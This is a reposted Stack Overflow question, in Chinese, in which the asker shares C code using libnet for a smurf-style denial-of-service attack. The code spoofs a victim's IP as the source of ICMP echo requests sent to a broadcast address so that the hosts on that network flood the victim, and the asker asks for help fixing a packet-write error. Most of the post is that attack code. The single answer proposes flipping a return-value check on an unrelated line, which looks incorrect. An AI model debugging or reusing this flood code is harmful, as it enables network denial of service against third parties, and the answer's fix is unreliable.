gpt4 book ai didi

c - libnet错误: success

转载 作者:行者123 更新时间:2023-11-30 16:37:33 28 4
gpt4 key购买 nike

我正在尝试创建一个 ping 洪水程序,它将目标 IP 地址和广播 IP 地址作为参数。该程序将向广播地址发送 icmp echo 数据包,并将受害者的 IP 地址作为源。网络上所有收到数据包的主机都会将答案返回给受害者。

代码如下所示:

#include <stdio.h>
#include <libnet.h>
#include <stdlib.h>
#include <udi.h>


void usage(char * pname)
{
printf("[!] The program sends fake icmp echo request to broadcast address in order to ping flood a device\n", pname);
printf("[!] USAGE - %s [ipv4 address to attack] [ipv4 broadcast address]\n", pname);
}

int main(int argc, char *argv[])
{
if(argc != 3)
usage(argv[0]);


char errbuff[LIBNET_ERRBUF_SIZE];
libnet_t *l;
uint16_t cmp_id;
uint16_t ip_id;
for(int i=0; i<100; i++)
{
l=libnet_init(LIBNET_LINK, (char *) "wlan0", errbuff); //initializing the packet
if(l==NULL)
{
fatal("in initializing the index of the packet...\nERROR: ");
printf("%s",libnet_geterror(l));
}


libnet_seed_prand(l);
cmp_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
ip_id = (uint16_t) libnet_get_prand(LIBNET_PR16);

if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) == 0)
{
fatal("while trying to build icmpv4_echo packet...\nERROR: ");
printf("%s",libnet_geterror(l));
}

if(libnet_build_ipv4(LIBNET_IPV4_H+LIBNET_ICMPV4_ECHO_H, 0, ip_id, 0, 255, IPPROTO_ICMP, 0, inet_addr(argv[1]), inet_addr(argv[2]), NULL, 0, l, 0) == -1)
{
fatal("while trying to create ipv4 header...\nERROR: ");
printf("%s",libnet_geterror(l));
}

if(libnet_write(l) == -1)
{
fatal("while trying to write the packet...\nERROR: ");
printf("%s",libnet_geterror(l));
}


libnet_destroy(l);
}
return 0;
}

当我运行它时,我得到这个输出:

[!] FATAL ERROR: while trying to write the packet...
ERROR: : Success

我正在使用 libnet 库来创建数据包,并且我感觉 libnet_build_ipv4() 函数中存在某种错误。

有什么帮助和建议吗?

谢谢。

最佳答案

关于:

if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) == 0) 

这是不正确的,返回值 0 表示成功。

声明应该是:

if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) != 0) 

注意从 ==!= 的更改

关于c - libnet错误: success,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/47839967/

28 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com